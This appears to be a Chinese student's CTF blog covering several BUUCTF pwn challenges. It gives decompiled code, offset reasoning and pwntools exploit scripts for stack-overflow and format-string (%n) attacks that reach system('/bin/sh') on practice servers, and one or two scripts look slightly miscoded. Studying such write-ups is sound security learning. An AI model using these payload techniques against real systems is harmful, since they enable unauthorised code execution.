我的exp错在对于v5这个变量大小的判断上,我看到v5前面是-0000000000000040就认为是64位,实际上还要加上返回值,因为函数结束时retn弹出地址回到上一级程序继续执行,总之最后72位,更正后的wp如下

import pwn
from pwn import *

p = remote('node4.buuoj.cn', 28348)
str1 = b'a'*72 + p64(0x40060d)
p.sendline(str1)
p.interactive()

得到flag.

ciscn_2019_n_1

这道题有思路,但是做不出来

int func()
{
  char v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(v1);
  if ( v2 == 11.28125 )
    return system("cat /flag");
  else
    return puts("Its value should be 11.28125");
}

很明显是要利用栈溢出修改v2的值,但是我不会,写了几个exp都没成功。

原来我是地址出问题了,我直接30-4=26,但这是16进制,重写后如下

import pwn
from pwn import *

p = remote('node4.buuoj.cn', 27057)
str1 = b'a'*(0x30 - 0x04) + p64(0x41348000)
p.sendline(str1)
p.interactive()

这题还有另一种解法,就是跳过判断直接执行,构造如下

import pwn
from pwn import *

p = remote('node4.buuoj.cn', 27057)
str1 = b'a'*(0x30+0x08) + p64(0x00000000004006BE)
p.sendline(str1)
p.interactive()

pwn1_sctf_2016

这道题源码为

int vuln()
{
  const char *v0; // eax
  char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
  char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
  char v4[7]; // [esp+40h] [ebp-18h] BYREF
  char v5; // [esp+47h] [ebp-11h] BYREF
  char v6[7]; // [esp+48h] [ebp-10h] BYREF
  char v7[5]; // [esp+4Fh] [ebp-9h] BYREF

  printf("Tell me something about yourself: ");
  fgets(s, 32, edata);
  std::string::operator=(&input, s);
  std::allocator<char>::allocator(&v5);
  std::string::string((int)v4, (int)"you", (int)&v5);
  std::allocator<char>::allocator(v7);
  std::string::string((int)v6, (int)"I", (int)v7);
  replace((std::string *)v3);
  std::string::operator=((int)&input, (int)v3, (int)v6, (int)v4);
  std::string::~string(v3);
  std::string::~string(v6);
  std::allocator<char>::~allocator(v7);
  std::string::~string(v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(s, v0);
  return printf("So, %s\n", s);
}

但我一直在纠结中间那段代码是啥意思,其实就一个意思就是将I换成you,这道题也是利用栈溢出,但是由于限制输入32位,此时可以利用替换,输入21位I将换成63位you,完成溢出,exp如下

import pwn
from pwn import *

p = remote('node4.buuoj.cn', 25461)
str1 = b'I'*(21)+b'a'+p64(0x08048f0d)
p.sendline(str1)
p.interactive()

jarvisoj_level0

这题思路差不多,py如下:

from pwn import *

p = remote('node4.buuoj.cn', 29557)
str1 = b'1'*(0x80+0x08)+p64(0x400596)
p.sendline(str1)
p.interactive()

[第五空间2019 决赛]PWN5

伪代码如下:

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &dword_804C044, 4u);
  printf("your name:");
  read(0, buf, 0x63u);
  printf("Hello,");
  printf(buf);
  printf("your passwd:");
  read(0, nptr, 0xFu);
  if ( atoi(nptr) == dword_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}

这题也是栈溢出,但是由于限制输入,然后我就一直在纠结如何利用atoi函数或者利用只能输入无符号数这点来实现注入,但能力有限,没构造出来。

结果是格式化字符串漏洞。

然后就在这道题卡了很久,最后只能说是勉强弄懂。唉,pwn真难

我主要是从这位大佬的wp弄懂的

[BUUCTF]PWN——[第五空间2019 决赛]PWN5-优快云博客

首先说说printf这个函数,printf("Hello,%s",a),对于这条语句,这个整个字符串的地址是被压入栈的,然后在它后面的是a的值,当运行printf函数时,首先找到字符串的地址,然后根据地址找到字符串,然后检索到其中有%s字符,又从存放地址的位置往后找到值替换。格式化字符串的漏洞就在于无论后面是否有变量的值,只要出现了%s等,它都会往下读取。再说说%n,%n会将前面字符的字节数存到后面变量提供的地址所指向的空间,也就是说如果我如果我可以控制后面变量的值,就可以对任意地址中的值进行改变。

然后测试偏移量,也就是找到存放字符串地址的空间与真正的字符串所在空间的偏移量为多少

nc node4.buuoj.cn 27639
your name:AAAA %x %x %x %x %x %x %x %x %x %x %x
Hello,AAAA ffae21c8 63 0 ffae21ee 3 c2 f7e7e91b ffae21ee ffae22ec 41414141 20782520

易得为10

然后进行写脚本,如下

from pwn import *

p = remote('node4.buuoj.cn', 27639)
sleep(1)
str1 = p32(0x0804C044)+b'%10$n'
p.sendline(str1)
str2 = str(0x04)
p.sendline(str2)
p.interactive()

0x0804c044是随机数所在的位置,首先将这串地址存到栈中,然后%10$n就会向下找到离这偏移量为10的位置,然后将值也就是4存到地址所指向的空间,也就是随机数的位置,从而改变密码为4。然后输入就直接输入0x04,最后这里也可以直接在命令行输入整数4。

jarvisoj_level2

pwn是真难啊,又是只能看wp的一道,这道题我还是有点想法,这道题没有其他函数,但是很明显是栈溢出的,有system函数,但里面的内容都是打印字符串,我在字串那看到了有/bin/sh,但是没发现被system包围,我就简单地先构造栈溢出,然后让其跳转到/bin/sh,但是并没有卵用。

jarvisoj_level2_m0sway的博客-优快云博客

看完之后只能说大概懂了,就相当于是将system函数的内容替换了,但我还有一点没搞懂

p32(sys_addr) + b'M' * 4 + p32(bin_sh_addr)

就是为啥中间要用b'M' * 4,看了好几个wp之后,我差不多懂了,第一个没啥说的就是system函数地址,中间那个实际上就是告诉system函数执行完之后返回的地址,但是由于我不需要执行后面的程序,就随便写吧,最后没啥说的,脚本如下:

from pwn import *

p = remote('node4.buuoj.cn', 26403)
str1 = b'a'*(0x88+0x04)+p32(0x08048320)+b'a'*4+p32(0x0804A024)
p.sendline(str1)
p.interactive()

pwn是好玩,但就是太难啦

ciscn_2019_c_1

这题完全没思路,点开一看,没有system函数,然后我就不知道了,看看wp,好大一串,看着头疼。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值